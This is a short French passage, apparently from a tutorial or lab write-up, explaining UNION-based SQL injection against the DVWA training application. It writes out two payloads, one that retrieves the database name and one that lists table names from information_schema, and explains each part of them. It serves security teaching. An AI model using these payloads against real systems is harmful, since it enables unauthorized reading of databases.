En utilisant des injections SQL, nous allons :
' UNION SELECT database(),2 FROM information_schema.tables --
‘ Rompre la requête initiale
UNION SELECT Forcer l’application à inclure les résultats d’une nouvelle requête dans le retour de la requête d'origine
database() Récupérer le nom de la base de données
2 Maintenir le nombre correct de colonnes dans la requête injectée
information_schema.tables contient une liste de toutes les tables de la base de données (en MySQL)
# Ignorer le reste de la requête initiale.
' UNION SELECT table_name,2 FROM information_schema.tables WHERE table_schema = 'dvwa' --
table_name Retourner le nom des tables